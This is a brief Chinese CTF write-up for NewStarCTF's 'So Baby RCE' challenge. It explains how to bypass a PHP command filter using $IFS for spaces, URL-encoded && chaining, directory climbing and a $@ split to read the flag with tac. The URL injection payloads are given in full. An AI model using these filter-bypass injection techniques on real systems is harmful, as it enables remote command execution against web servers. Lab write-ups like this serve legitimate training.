[NewStarCTF 公开赛赛道]So Baby RCE
1 | <?php |
过滤了很多函数,但没有过滤ls和cd
我们可以跳级来查看目录
由于过滤了空格,我们用${IFS} $IFS $IFS$a
1 | ?cmd=cd$IFS..&&ls &&连接符先执行前面的后执行后面的 |
但并没有回显
PHP的system函数和Web服务器如何处理URL编码的参数。当您通过URL传递参数时,Web服务器或PHP通常会对这些参数进行URL解码,将它们转换为相应的字符。这意味着,当您在URL中使用 %26%26 时,它会被解码为 &&,然后传递给 system 函数。
然而,如果 && 在URL中没有被正确解码,或者在某些情况下被解释为URL的一部分而不是命令的一部分,那么它可能不会被传递给 system 函数,因此不会有回显。
我们跳多级来看文件.
1 | /?cmd=cd$IFS..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls |
到这里要查看ffff的内容cat被过滤可以
1 | ?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26tac${IFS}ffff$@llllaaaaggggg |
得到flag